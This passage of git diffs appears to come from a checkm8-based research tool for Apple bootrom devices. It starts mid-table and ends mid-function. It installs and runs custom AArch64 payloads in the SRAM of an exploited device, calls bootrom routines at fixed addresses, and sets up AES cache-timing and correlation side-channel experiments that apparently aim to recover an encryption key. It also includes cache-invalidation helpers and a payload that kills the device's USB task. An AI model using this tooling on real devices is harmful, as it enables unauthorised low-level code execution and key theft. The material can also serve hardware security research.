0xe0, 0xe2, 0xe4, 0xe6, 0xe8, 0xea, 0xec, 0xee, 0xf0, 0xf2, 0xf4, 0xf6, 0xf8, 0xfa, 0xfc, 0xfe,
0x1b, 0x19, 0x1f, 0x1d, 0x13, 0x11, 0x17, 0x15, 0x0b, 0x09, 0x0f, 0x0d, 0x03, 0x01, 0x07, 0x05,
0x3b, 0x39, 0x3f, 0x3d, 0x33, 0x31, 0x37, 0x35, 0x2b, 0x29, 0x2f, 0x2d, 0x23, 0x21, 0x27, 0x25,
0x5b, 0x59, 0x5f, 0x5d, 0x53, 0x51, 0x57, 0x55, 0x4b, 0x49, 0x4f, 0x4d, 0x43, 0x41, 0x47, 0x45,
0x7b, 0x79, 0x7f, 0x7d, 0x73, 0x71, 0x77, 0x75, 0x6b, 0x69, 0x6f, 0x6d, 0x63, 0x61, 0x67, 0x65,
0x9b, 0x99, 0x9f, 0x9d, 0x93, 0x91, 0x97, 0x95, 0x8b, 0x89, 0x8f, 0x8d, 0x83, 0x81, 0x87, 0x85,
0xbb, 0xb9, 0xbf, 0xbd, 0xb3, 0xb1, 0xb7, 0xb5, 0xab, 0xa9, 0xaf, 0xad, 0xa3, 0xa1, 0xa7, 0xa5,
0xdb, 0xd9, 0xdf, 0xdd, 0xd3, 0xd1, 0xd7, 0xd5, 0xcb, 0xc9, 0xcf, 0xcd, 0xc3, 0xc1, 0xc7, 0xc5,
0xfb, 0xf9, 0xff, 0xfd, 0xf3, 0xf1, 0xf7, 0xf5, 0xeb, 0xe9, 0xef, 0xed, 0xe3, 0xe1, 0xe7, 0xe5
};
static const unsigned char mul3_lookup[256] =
{
0x00, 0x03, 0x06, 0x05, 0x0c, 0x0f, 0x0a, 0x09, 0x18, 0x1b, 0x1e, 0x1d, 0x14, 0x17, 0x12, 0x11,
0x30, 0x33, 0x36, 0x35, 0x3c, 0x3f, 0x3a, 0x39, 0x28, 0x2b, 0x2e, 0x2d, 0x24, 0x27, 0x22, 0x21,
0x60, 0x63, 0x66, 0x65, 0x6c, 0x6f, 0x6a, 0x69, 0x78, 0x7b, 0x7e, 0x7d, 0x74, 0x77, 0x72, 0x71,
0x50, 0x53, 0x56, 0x55, 0x5c, 0x5f, 0x5a, 0x59, 0x48, 0x4b, 0x4e, 0x4d, 0x44, 0x47, 0x42, 0x41,
0xc0, 0xc3, 0xc6, 0xc5, 0xcc, 0xcf, 0xca, 0xc9, 0xd8, 0xdb, 0xde, 0xdd, 0xd4, 0xd7, 0xd2, 0xd1,
0xf0, 0xf3, 0xf6, 0xf5, 0xfc, 0xff, 0xfa, 0xf9, 0xe8, 0xeb, 0xee, 0xed, 0xe4, 0xe7, 0xe2, 0xe1,
0xa0, 0xa3, 0xa6, 0xa5, 0xac, 0xaf, 0xaa, 0xa9, 0xb8, 0xbb, 0xbe, 0xbd, 0xb4, 0xb7, 0xb2, 0xb1,
0x90, 0x93, 0x96, 0x95, 0x9c, 0x9f, 0x9a, 0x99, 0x88, 0x8b, 0x8e, 0x8d, 0x84, 0x87, 0x82, 0x81,
0x9b, 0x98, 0x9d, 0x9e, 0x97, 0x94, 0x91, 0x92, 0x83, 0x80, 0x85, 0x86, 0x8f, 0x8c, 0x89, 0x8a,
0xab, 0xa8, 0xad, 0xae, 0xa7, 0xa4, 0xa1, 0xa2, 0xb3, 0xb0, 0xb5, 0xb6, 0xbf, 0xbc, 0xb9, 0xba,
0xfb, 0xf8, 0xfd, 0xfe, 0xf7, 0xf4, 0xf1, 0xf2, 0xe3, 0xe0, 0xe5, 0xe6, 0xef, 0xec, 0xe9, 0xea,
0xcb, 0xc8, 0xcd, 0xce, 0xc7, 0xc4, 0xc1, 0xc2, 0xd3, 0xd0, 0xd5, 0xd6, 0xdf, 0xdc, 0xd9, 0xda,
0x5b, 0x58, 0x5d, 0x5e, 0x57, 0x54, 0x51, 0x52, 0x43, 0x40, 0x45, 0x46, 0x4f, 0x4c, 0x49, 0x4a,
0x6b, 0x68, 0x6d, 0x6e, 0x67, 0x64, 0x61, 0x62, 0x73, 0x70, 0x75, 0x76, 0x7f, 0x7c, 0x79, 0x7a,
0x3b, 0x38, 0x3d, 0x3e, 0x37, 0x34, 0x31, 0x32, 0x23, 0x20, 0x25, 0x26, 0x2f, 0x2c, 0x29, 0x2a,
0x0b, 0x08, 0x0d, 0x0e, 0x07, 0x04, 0x01, 0x02, 0x13, 0x10, 0x15, 0x16, 0x1f, 0x1c, 0x19, 0x1a
};
struct aes_constants *get_constants()
{
struct aes_constants *res = malloc(sizeof(struct aes_constants));
memcpy(res->sbox, sbox, sizeof(sbox));
memcpy(res->rc_lookup, rc_lookup, sizeof(rc_lookup));
memcpy(res->mul2, mul2_lookup, sizeof(mul2_lookup));
memcpy(res->mul3, mul3_lookup, sizeof(mul3_lookup));
return res;
}

View File

@@ -1,14 +1,11 @@
#include "util.h"
#include "brfunc_timing.h"
#include "dev/types.h"
#ifdef DEV_CRYPTO
#include "dev_util.h"
PAYLOAD_SECTION
void task_sleep(unsigned int usec)
{
((BOOTROM_FUNC) ADDR_TASK_SLEEP)(usec);
}
PAYLOAD_SECTION
void sub_bytes(unsigned char block[16], unsigned char sbox[16][16])
#endif
void sub_bytes(unsigned char block[16], struct aes_constants *c)
{
int i;
unsigned char val;
@@ -16,11 +13,13 @@ void sub_bytes(unsigned char block[16], unsigned char sbox[16][16])
for(i = 0; i < 16; i++)
{
val = block[i];
block[i] = sbox[val >> 4u][val & 0xfu];
block[i] = c->sbox[val >> 4u][val & 0xfu];
}
}
#ifdef DEV_CRYPTO
PAYLOAD_SECTION
#endif
void shift_rows(unsigned char block[16])
{
unsigned char temp1, temp2;
@@ -45,9 +44,10 @@ void shift_rows(unsigned char block[16])
block[0x7] = temp1;
}
#ifdef DEV_CRYPTO
PAYLOAD_SECTION
void mix_cols(unsigned char block[16],
unsigned char mul2_lookup[256], unsigned char mul3_lookup[256])
#endif
void mix_cols(unsigned char block[16], struct aes_constants *c)
{
unsigned char r0, r1, r2, r3;
int i;
@@ -60,14 +60,16 @@ void mix_cols(unsigned char block[16],
r3 = block[4 * i + 3];
// no reason for the "+ 0" here but it makes the code look more lined up :)
block[4 * i + 0] = mul2_lookup[r0] ^ mul3_lookup[r1] ^ r2 ^ r3;
block[4 * i + 1] = r0 ^ mul2_lookup[r1] ^ mul3_lookup[r2] ^ r3;
block[4 * i + 2] = r0 ^ r1 ^ mul2_lookup[r2] ^ mul3_lookup[r3];
block[4 * i + 3] = mul3_lookup[r0] ^ r1 ^ r2 ^ mul2_lookup[r3];
block[4 * i + 0] = c->mul2[r0] ^ c->mul3[r1] ^ r2 ^ r3;
block[4 * i + 1] = r0 ^ c->mul2[r1] ^ c->mul3[r2] ^ r3;
block[4 * i + 2] = r0 ^ r1 ^ c->mul2[r2] ^ c->mul3[r3];
block[4 * i + 3] = c->mul3[r0] ^ r1 ^ r2 ^ c->mul2[r3];
}
}
#ifdef DEV_CRYPTO
PAYLOAD_SECTION
#endif
void add_key(unsigned char block[16], unsigned char key[16])
{
int i;
@@ -77,9 +79,11 @@ void add_key(unsigned char block[16], unsigned char key[16])
}
}
#ifdef DEV_CRYPTO
PAYLOAD_SECTION
#endif
void expand_key(unsigned char key[16], unsigned char key_sched[176], int n,
unsigned char sbox[16][16], unsigned char rc_lookup[11])
struct aes_constants *c)
{
int i, j, prev_key_base, key_base = 0;
unsigned char val;
@@ -96,13 +100,13 @@ void expand_key(unsigned char key[16], unsigned char key_sched[176], int n,
for(j = 0; j < 3; j++)
{
val = key_sched[prev_key_base + 13 + j];
key_sched[key_base + j] = sbox[val >> 4u][val & 0xfu];
key_sched[key_base + j] = c->sbox[val >> 4u][val & 0xfu];
}
val = key_sched[prev_key_base + 12];
key_sched[key_base + 3] = sbox[val >> 4u][val & 0xfu];
key_sched[key_base + 3] = c->sbox[val >> 4u][val & 0xfu];
key_sched[key_base] ^= rc_lookup[i - 1];
key_sched[key_base] ^= c->rc_lookup[i - 1];
for(j = 0; j < 4; j++)
{
@@ -116,27 +120,12 @@ void expand_key(unsigned char key[16], unsigned char key_sched[176], int n,
}
}
#ifdef DEV_CRYPTO
PAYLOAD_SECTION
void busy_sleep(int usec)
#endif
void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len,
unsigned char key_sched[176], struct aes_constants *c)
{
unsigned long long halt = 0x1000004fc;
unsigned long long timer_deadline_enter = 0x10000b874;
unsigned long long now;
__asm__ volatile ("mrs %0, cntpct_el0" : "=r" (now));
((BOOTROM_FUNC) timer_deadline_enter)(now + 24 * usec, ((BOOTROM_FUNC) 0x10000b924));
((BOOTROM_FUNC) halt)();
}
PAYLOAD_SECTION
void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len, unsigned char key[16],
unsigned char sbox[16][16], unsigned char rc_lookup[11],
unsigned char mul2[256], unsigned char mul3[256])
{
unsigned char key_sched[176];
expand_key(key, key_sched, 11, sbox, rc_lookup);
busy_sleep(10);
unsigned int num_blocks = msg_len / 16;
unsigned char *block;
@@ -148,27 +137,14 @@ void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len, unsigned char
for(j = 0; j < 9; j++)
{
sub_bytes(block, sbox);
sub_bytes(block, c);
shift_rows(block);
mix_cols(block, mul2, mul3);
mix_cols(block, c);
add_key(block, &key_sched[16 * (j + 1)]);
}
sub_bytes(block, sbox);
sub_bytes(block, c);
shift_rows(block);
add_key(block, &key_sched[16 * (j + 1)]);
}
}
TEXT_SECTION
void _start(unsigned char *msg, unsigned int msg_len, unsigned char *key,
unsigned char sbox[16][16], unsigned char rc_lookup[11],
unsigned char mul2[256], unsigned char mul3[256])
{
unsigned long long start, end;
unsigned long long platform_quiesce_hardware = 0x100007dd0;
__asm__ volatile ("mrs %0, cntpct_el0" : "=r" (start));
aes128_encrypt_ecb(msg, msg_len, key, sbox, rc_lookup, mul2, mul3);
__asm__ volatile ("mrs %0, cntpct_el0" : "=r" (end));
}

View File

@@ -0,0 +1,277 @@
#include "util/experiments.h"
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stddef.h>
#include "dev/addr.h"
#include "tool/command.h"
#include "util/host_crypto.h"
DEV_PTR_T install_aes_data(struct pwned_device *dev)
{
int close;
DEV_PTR_T res;
struct aes_constants *constants = get_constants();
if(is_device_session_open(dev)) close = 0;
else
{
close = 1;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
free(constants);
return DEV_PTR_NULL;
}
}
res = install_data(dev, SRAM, (unsigned char *) constants, sizeof(struct aes_constants));
if(res == DEV_PTR_NULL)
{
printf("failed to write AES constants\n");
free(constants);
return DEV_PTR_NULL;
}
if(close)
{
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
printf("failed to close device session\n");
free(constants);
return DEV_PTR_NULL;
}
}
free(constants);
return res;
}
DEV_PTR_T setup_bern_exp(struct pwned_device *dev)
{
DEV_PTR_T addr_data, addr_key, addr_async_buf, addr_constants;
struct dev_cmd_resp *resp;
unsigned char data[16];
unsigned char key[16];
memset(key, 0x1, 16);
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
return DEV_PTR_NULL;
}
addr_constants = install_aes_data(dev);
if(addr_constants == DEV_PTR_NULL)
{
printf("failed to install aes constants\n");
return DEV_PTR_NULL;
}
addr_data = install_data(dev, SRAM, data, 16);
if(addr_data == DEV_PTR_NULL)
{
printf("failed to install aes data\n");
return DEV_PTR_NULL;
}
addr_key = install_data(dev, SRAM, key, 16);
if(addr_key == DEV_PTR_NULL)
{
printf("failed to install aes key\n");
return DEV_PTR_NULL;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
{
printf("failed to install sync payload\n");
return DEV_PTR_NULL;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_AES_SW_BERN, SRAM)))
{
printf("failed to install aes payload\n");
return DEV_PTR_NULL;
}
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to execute sync payload\n");
free_dev_cmd_resp(resp);
return DEV_PTR_NULL;
}
free_dev_cmd_resp(resp);
addr_async_buf = setup_payload_async(dev, PAYLOAD_AES_SW_BERN,
sizeof(struct bern_data),
4, addr_data, 16, addr_key, addr_constants);
run_payload_async(dev, PAYLOAD_AES_SW_BERN);
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
printf("failed to close device session\n");
return DEV_PTR_NULL;
}
return addr_async_buf;
}
struct bern_data *get_bern_exp_data(struct pwned_device *dev, DEV_PTR_T async_buf)
{
struct dev_cmd_resp *resp;
struct bern_data *res;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
return NULL;
}
resp = execute_gadget(dev, ADDR_EVENT_NOTIFY, 0, 1,
async_buf + offsetof(struct bern_data, ev_data));
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to signal for data\n");
free_dev_cmd_resp(resp);
return NULL;
}
free_dev_cmd_resp(resp);
resp = read_gadget(dev, async_buf, sizeof(struct bern_data));
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to get data from device\n");
free_dev_cmd_resp(resp);
return NULL;
}
res = (struct bern_data *) resp->data;
free(resp);
resp = execute_gadget(dev, ADDR_EVENT_NOTIFY, 0, 1,
async_buf + offsetof(struct bern_data, ev_done));
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to signal data end\n");
free(res);
free_dev_cmd_resp(resp);
return NULL;
}
free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
printf("failed to close device session\n");
free(res);
return NULL;
}
return res;
}
DEV_PTR_T setup_corr_exp(struct pwned_device *dev, unsigned char *init_key)
{
DEV_PTR_T addr_key, addr_async_buf, addr_constants;
struct dev_cmd_resp *resp;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
return DEV_PTR_NULL;
}
addr_constants = install_aes_data(dev);
if(addr_constants == DEV_PTR_NULL)
{
printf("failed to install aes constants\n");
return DEV_PTR_NULL;
}
addr_key = install_data(dev, SRAM, init_key, 16);
if(addr_key == DEV_PTR_NULL)
{
printf("failed to install aes key\n");
return DEV_PTR_NULL;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
{
printf("failed to install sync payload\n");
return DEV_PTR_NULL;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_AES_SW_CORR, SRAM)))
{
printf("failed to install aes payload\n");
return DEV_PTR_NULL;
}
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to execute sync payload\n");
free_dev_cmd_resp(resp);
return DEV_PTR_NULL;
}
free_dev_cmd_resp(resp);
addr_async_buf = setup_payload_async(dev, PAYLOAD_AES_SW_CORR,
sizeof(struct corr_data),
2, addr_key, addr_constants);
run_payload_async(dev, PAYLOAD_AES_SW_CORR);
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
printf("failed to close device session\n");
return DEV_PTR_NULL;
}
return addr_async_buf;
}
struct corr_data *get_corr_exp_data(struct pwned_device *dev, DEV_PTR_T async_buf)
{
struct dev_cmd_resp *resp;
struct corr_data *res;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
return NULL;
}
resp = read_gadget(dev, async_buf, sizeof(struct corr_data));
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to get data from device\n");
free_dev_cmd_resp(resp);
return NULL;
}
res = (struct corr_data *) resp->data;
free(resp);
resp = execute_gadget(dev, ADDR_EVENT_NOTIFY, 0, 1,
async_buf + offsetof(struct corr_data, ev_cont));
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to signal data continue\n");
free(res);
free_dev_cmd_resp(resp);
return NULL;
}
free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
printf("failed to close device session\n");
free(res);
return NULL;
}
return res;
}

View File

@@ -0,0 +1,108 @@
#include "util/experiments.h"
#include <stdio.h>
#include "tool/payload.h"
void floppysleep(struct pwned_device *dev)
{
struct dev_cmd_resp *resp;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
return;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
{
printf("failed to install sync payload\n");
return;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_FLOPPYSLEEP, SRAM)))
{
printf("failed to install task sleep payload\n");
return;
}
float init_a = -7.504355E-39f;
DEV_PTR_T init_a_ptr = install_data(dev, SRAM, (unsigned char *) &init_a, sizeof(float));
if(init_a_ptr == DEV_PTR_NULL)
{
printf("failed to write initial data\n");
return;
}
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to execute bootstrap\n");
return;
}
free_dev_cmd_resp(resp);
resp = execute_payload(dev, PAYLOAD_FLOPPYSLEEP, 0, 1, init_a_ptr);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to execute flopsleep payload\n");
return;
}
printf("retval is %08lli\n", resp->retval);
free_dev_cmd_resp(resp);
close_device_session(dev);
}
void floppysleep_async(struct pwned_device *dev)
{
float init_a = -7.504355E-39f;
DEV_PTR_T init_a_ptr, async_buf_ptr;
struct dev_cmd_resp *resp;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
return;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
{
printf("failed to install sync payload\n");
return;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_FLOPPYSLEEP, SRAM)))
{
printf("failed to install task sleep payload\n");
return;
}
init_a_ptr = install_data(dev, SRAM, (unsigned char *) &init_a, sizeof(float));
if(init_a_ptr == DEV_PTR_NULL)
{
printf("failed to write initial data\n");
return;
}
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to execute bootstrap\n");
return;
}
free_dev_cmd_resp(resp);
async_buf_ptr = setup_payload_async(dev, PAYLOAD_FLOPPYSLEEP, 32, 1, init_a_ptr);
run_payload_async(dev, PAYLOAD_FLOPPYSLEEP);
close_device_session(dev);
printf("async buf pointer is %llX\n", async_buf_ptr);
// sleep(10);
//
// open_device_session(dev);
// resp = read_gadget(dev, async_buf_ptr, 8);
// close_device_session(dev);
}

View File

@@ -0,0 +1,54 @@
#include "util/experiments.h"
#include <stdio.h>
#include "tool/command.h"
void usb_task_exit(struct pwned_device *dev)
{
struct dev_cmd_resp *resp;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
{
printf("failed to open device session\n");
return;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
{
printf("failed to install sync payload\n");
return;
}
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_EXIT_USB_TASK, SRAM)))
{
printf("failed to install sync payload\n");
return;
}
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to execute bootstrap\n");
return;
}
free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(uninstall_payload(dev, PAYLOAD_SYNC)))
{
printf("failed to uninstall sync payload\n");
return;
}
resp = execute_payload(dev, PAYLOAD_EXIT_USB_TASK, 0,
1, get_payload_address(dev, PAYLOAD_EXIT_USB_TASK));
if(IS_CHECKM8_FAIL(resp->ret))
{
printf("failed to exit usb task\n");
return;
}
if(IS_CHECKM8_FAIL(close_device_session(dev)))
{
printf("failed to close device session\n");
return;
}
}

View File

@@ -1,33 +1,45 @@
project(checkm8_libpayload_sources C ASM)
include_directories(include)
include_directories(${CMAKE_CURRENT_LIST_DIR}/include)
set(CMAKE_SYSTEM_PROCESSOR arm)
if(${CMAKE_HOST_SYSTEM_PROCESSOR} STREQUAL "x86_64")
# regular desktop
set(CMAKE_C_COMPILER /usr/bin/aarch64-linux-gnu-gcc)
set(CMAKE_ASM_COMPILER /usr/bin/aarch64-linux-gnu-as)
set(CMAKE_OBJCOPY /usr/bin/aarch64-linux-gnu-objcopy)
set(CMAKE_RANLIB /usr/bin/aarch64-linux-gnu-ranlib)
elseif(${CMAKE_HOST_SYSTEM_PROCESSOR} STREQUAL "armv7l")
# raspberry pi
set(CMAKE_C_COMPILER /opt/cross/bin/aarch64-linux-gcc)
set(CMAKE_ASM_COMPILER /opt/cross/bin/aarch64-linux-as)
set(CMAKE_OBJCOPY /opt/cross/bin/aarch64-linux-objcopy)
set(CMAKE_RANLIB /opt/cross/bin/aarch64-linux-ranlib)
endif()
set(CMAKE_C_FLAGS "-nostdlib -O")
file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/bin)
foreach(NAME ${PL_NAMES})
if(EXISTS ${CMAKE_CURRENT_LIST_DIR}/src/${NAME}.S)
add_executable(payload_${NAME} ${CMAKE_CURRENT_LIST_DIR}/src/${NAME}.c
${CMAKE_CURRENT_LIST_DIR}/src/${NAME}.S)
add_executable(payload_${NAME} ${CMAKE_CURRENT_LIST_DIR}/payload_entry.S
${CMAKE_CURRENT_LIST_DIR}/payload_entry.c
${CMAKE_CURRENT_LIST_DIR}/src/${NAME}.c
${CMAKE_CURRENT_LIST_DIR}/src/${NAME}.S)
else()
add_executable(payload_${NAME} ${CMAKE_CURRENT_LIST_DIR}/src/${NAME}.c)
add_executable(payload_${NAME} ${CMAKE_CURRENT_LIST_DIR}/payload_entry.S
${CMAKE_CURRENT_LIST_DIR}/payload_entry.c
${CMAKE_CURRENT_LIST_DIR}/src/${NAME}.c)
endif()
add_custom_command(TARGET payload_${NAME} POST_BUILD
BYPRODUCTS ${CMAKE_CURRENT_BINARY_DIR}/bin/payload_${NAME}.bin
COMMAND ${CMAKE_OBJCOPY}
ARGS -O binary -j .text -j .payload_text -j .payload_data
ARGS -O binary -j .text -j .payload_text
${CMAKE_CURRENT_BINARY_DIR}/payload_${NAME}
${CMAKE_CURRENT_BINARY_DIR}/bin/payload_${NAME}.bin)
endforeach(NAME)
endforeach(NAME)
add_library(dev_crypto ../crypto/aes_sw_impl.c)
target_compile_definitions(dev_crypto PRIVATE DEV_CRYPTO)
target_link_libraries(payload_aes_sw_bern dev_crypto)
target_link_libraries(payload_aes_sw_corr dev_crypto)

View File

@@ -0,0 +1,136 @@
#ifndef CHECKM8_TOOL_BOOTROM_FUNC_H
#define CHECKM8_TOOL_BOOTROM_FUNC_H
#include "dev/addr.h"
#include "dev/types.h"
#include "dev_util.h"
/* Crypto */
static inline int hardware_aes(unsigned long long cmd,
unsigned char *src, unsigned char *dst,
int len, unsigned long long opts,
unsigned char *key, unsigned char *iv)
{
return ((BOOTROM_FUNC_I) ADDR_HARDWARE_AES)(cmd, src, dst, len, opts, key, iv);
}
static inline int get_random(void *buf, int len)
{
return ((BOOTROM_FUNC_I) ADDR_GET_RANDOM)(buf, len);
}
static inline unsigned int get_entropy()
{
return ((BOOTROM_FUNC_I) ADDR_GET_ENTROPY)();
}
static inline void sha1(void *src, int len, void *dst)
{
return ((BOOTROM_FUNC_V) ADDR_SHA1)(src, len, dst);
}
/* Timing */
static inline int clock_gate(int device, int power)
{
return ((BOOTROM_FUNC_I) ADDR_CLOCK_GATE)(device, power);
}
static inline unsigned long long get_time()
{
return ((BOOTROM_FUNC_ULL) ADDR_GET_TIME)();
}
static inline unsigned long long get_ticks()
{
return ((BOOTROM_FUNC_ULL) ADDR_GET_TICKS)();
}
static inline void timer_register_int(unsigned long long dl)
{
((BOOTROM_FUNC_V) ADDR_TIMER_REGISTER_INT)(dl, ADDR_RANDOM_RET);
}
static inline void wfi()
{
((BOOTROM_FUNC_V) ADDR_WFI)();
}
/* Tasking */
static inline void *task_new(char *name, BOOTROM_FUNC_I func, void *args, int ssize)
{
return ((BOOTROM_FUNC_PTR) ADDR_TASK_NEW)(name, func, args, ssize);
}
static inline void task_run(void *task)
{
((BOOTROM_FUNC_V) ADDR_TASK_RUN)(task);
}
static inline void task_pause(int usec)
{
((BOOTROM_FUNC_V) ADDR_TASK_PAUSE)(usec);
}
static inline void task_resched()
{
((BOOTROM_FUNC_V) ADDR_TASK_RESCHED)();
}
static inline void task_free(void *task)
{
((BOOTROM_FUNC_V) ADDR_TASK_FREE)(task);
}
static inline void event_new(struct event *dst, int flags, int state)
{
((BOOTROM_FUNC_V) ADDR_EVENT_NEW)(dst, flags, state);
}
static inline void event_notify(struct event *ev)
{
((BOOTROM_FUNC_V) ADDR_EVENT_NOTIFY)(ev);
}
static inline void event_wait(struct event *ev)
{
((BOOTROM_FUNC_V) ADDR_EVENT_WAIT)(ev);
}
static inline int event_try(struct event *ev, int timeout)
{
return ((BOOTROM_FUNC_I) ADDR_EVENT_TRY)(ev, timeout);
}
/* Heap */
static inline void calc_chksum(unsigned long long *dst, unsigned long long *src,
int len, unsigned long long *cookie)
{
((BOOTROM_FUNC_V) ADDR_CALC_CHKSUM)(dst, src, len, cookie);
}
static inline void check_block_chksum(void *ptr)
{
((BOOTROM_FUNC_V) ADDR_CHECK_BLOCK_CKSUM)(ptr);
}
static inline void check_all_chksums()
{
((BOOTROM_FUNC_V) ADDR_CHECK_ALL_CHKSUMS)();
}
static inline void *dev_malloc(int size)
{
return ((BOOTROM_FUNC_PTR) ADDR_DEV_MALLOC)(size);
}
static inline void *dev_memalign(int size, int constr)
{
return ((BOOTROM_FUNC_PTR) ADDR_DEV_MEMALIGN)(size, constr);
}
static inline void dev_free(void *ptr)
{
((BOOTROM_FUNC_PTR) ADDR_DEV_FREE)(ptr);
}
#endif //CHECKM8_TOOL_BOOTROM_FUNC_H

View File

@@ -0,0 +1,62 @@
#ifndef CHECKM8_TOOL_DEV_CACHE_H
#define CHECKM8_TOOL_DEV_CACHE_H
#include "dev_util.h"
PAYLOAD_SECTION
static inline unsigned long long get_ccsidr_el1()
{
unsigned long long cacheconfig = 0;
__asm__ volatile ("mrs %0, ccsidr_el1" : "=r" (cacheconfig));
return cacheconfig;
}
PAYLOAD_SECTION
static inline void sel_ccsidr_el1(unsigned int level, unsigned int i_or_d)
{
unsigned long long cachesel = (level & 0b111u) << 1u | (i_or_d & 0b1u);
__asm__ volatile ("msr csselr_el1, %0"::"r" (cachesel));
}
PAYLOAD_SECTION
static inline unsigned long long get_ctr_el0()
{
unsigned long long cacheconfig;
__asm__ volatile ("mrs %0, CTR_EL0" : "=r" (cacheconfig));
return cacheconfig;
}
PAYLOAD_SECTION
static inline void inv_l1_setway(unsigned int set, unsigned int way)
{
unsigned long long val = ((way & 0b11u) << 30u) | ((set & 0xFFu) << 6u);
__asm__ volatile ("dc isw, %0"::"r" (val));
}
PAYLOAD_SECTION
static inline void clean_l1_setway(unsigned int set, unsigned int way)
{
unsigned long long val = ((way & 0b11u) << 30u) | ((set & 0xFFu) << 6u);
__asm__ volatile ("dc csw, %0"::"r" (val));
}
PAYLOAD_SECTION
static inline void clean_inv_l1_setway(unsigned int set, unsigned int way)
{
unsigned long long val = ((way & 0b11u) << 30u) | ((set & 0xFFu) << 6u);
__asm__ volatile ("dc cisw, %0"::"r" (val));
}
PAYLOAD_SECTION
static inline void inv_va(void *addr)
{
__asm__ volatile ("dc ivac, %0"::"r" (addr));
}
PAYLOAD_SECTION
static inline void clean_inv_va(void *addr)
{
__asm__ volatile ("dc ivac, %0"::"r" (addr));
}
#endif //CHECKM8_TOOL_DEV_CACHE_H

View File

@@ -0,0 +1,13 @@
#ifndef CHECKM8_TOOL_CRYPTO_H
#define CHECKM8_TOOL_CRYPTO_H
#include "dev/types.h"
void expand_key(unsigned char key[16], unsigned char key_sched[176],
int n, struct aes_constants *c);
void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len,
unsigned char key_sched[176], struct aes_constants *c);
#endif //CHECKM8_TOOL_CRYPTO_H

View File

@@ -0,0 +1,22 @@
#ifndef CHECKM8_TOOL_DEV_UTIL_H
#define CHECKM8_TOOL_DEV_UTIL_H
typedef void (*BOOTROM_FUNC_V)();
typedef int (*BOOTROM_FUNC_I)();
typedef unsigned long long (*BOOTROM_FUNC_ULL)();
typedef void (*(*BOOTROM_FUNC_PTR)());
typedef char int8_t;
typedef short int16_t;
typedef int int32_t;
typedef long long int64_t;
typedef unsigned char uint8_t;
typedef unsigned short uint16_t;
typedef unsigned int uint32_t;
typedef unsigned long long uint64_t;
#define PAYLOAD_SECTION __attribute__ ((section (".payload_text")))
#define TEXT_SECTION __attribute__ ((section (".text")))
#endif //CHECKM8_TOOL_DEV_UTIL_H

View File

@@ -0,0 +1,17 @@
.extern entry_sync
.extern entry_async
.extern load_sync_entry
.global _start
.section .text
_start:
mov x10, x30
bl load_sync_entry
mov x30, x10
# if we came from the synchronous entry point, branch to entry_sync
cmp x9, x10
b.eq entry_sync
# else branch to the payload's async entry points
b entry_async

View File

@@ -0,0 +1,13 @@
#include "dev_util.h"
#include "dev/addr.h"
PAYLOAD_SECTION
void load_sync_entry()
{
uint64_t addr = ADDR_SYNC_ENTRY;
__asm__ volatile("mov x9, %0" :: "i" (addr & 0xFFFFu));
__asm__ volatile("movk x9, %0, LSL #16" :: "i" ((addr & 0xFFFF0000u) >> 16u));
__asm__ volatile("movk x9, %0, LSL #32" :: "i" ((addr & 0xFFFF00000000u) >> 32u));
__asm__ volatile("movk x9, %0, LSL #48" :: "i" ((addr & 0xFFFF000000000000u) >> 48u));
}

View File

@@ -0,0 +1,22 @@
#include "bootrom_func.h"
PAYLOAD_SECTION
void entry_sync(uint8_t *src, uint8_t *dst, uint8_t *key, int32_t rep)
{
